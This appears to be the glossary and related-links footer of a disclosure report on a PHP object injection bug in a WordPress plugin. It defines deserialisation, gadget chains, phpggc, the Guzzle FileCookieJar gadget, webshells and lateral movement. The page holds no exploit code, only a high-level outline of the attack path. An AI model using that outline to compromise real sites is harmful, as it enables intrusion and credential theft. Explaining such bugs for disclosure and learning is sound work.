  • Deserialisation: turning stored text back into a live object in a program; the reverse of serialisation.
  • Destructor: a method PHP runs automatically when an object is cleaned up, named with a leading __, such as __destruct().
  • Docker: a tool for running software in isolated, disposable containers.
  • Exfiltration: copying data out of a system without permission.
  • Function: a named block of code that performs one job and can be called from elsewhere.
  • Gadget chain (POP chain): a sequence of existing classes that, assembled in the right order, performs a harmful action such as writing a file.
  • grep: a command-line tool that searches files for text.
  • Guzzle: a PHP library for sending HTTP requests, which includes the FileCookieJar class used as the gadget here.
  • is_serialized(): a helper that checks whether a value is in PHP's serialisation format.
  • Lateral movement: using one compromised system to reach others on the same network or server.
  • Method: a function attached to a class, such as optin() on the Subscriber class.
  • PHP: the programming language most WordPress sites run on.
  • phpggc: a public tool that generates serialised payloads for known PHP gadget chains.
  • PHP object injection: a vulnerability where an attacker supplies serialised text that the program later deserialises, letting the attacker control which objects are built.
  • Plugin: an add-on that gives a WordPress site extra features.
  • POST request: a web request that sends data in its body, typically used for forms.
  • Responsible disclosure: reporting a vulnerability privately to the vendor and allowing time for a fix before publishing details.
  • Serialisation: turning a live object into text so it can be stored or sent.
  • Slug: a short internal name used to identify something, such as a field.
  • Source and sink: in security analysis, the place untrusted data enters (source) and the dangerous operation it reaches (sink).
  • system(): a PHP function that runs a shell command and returns its output.
  • unserialize(): the PHP function that rebuilds an object from serialised text.
  • vendor/ directory: the folder where a PHP project's third-party libraries are installed.
  • Vhost: one website hosted on a shared server.
  • Webshell: a small file placed on a web server that runs commands on request and returns the output.
  • WordPress: a system for building and running websites.
  • wp-config.php: WordPress's main settings file, which contains the database credentials.
  • www-data: the default low-privilege user account the web server runs as on many Linux systems.

More by Yaswanth R. Sunkara

View all

1 more disclosed report, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.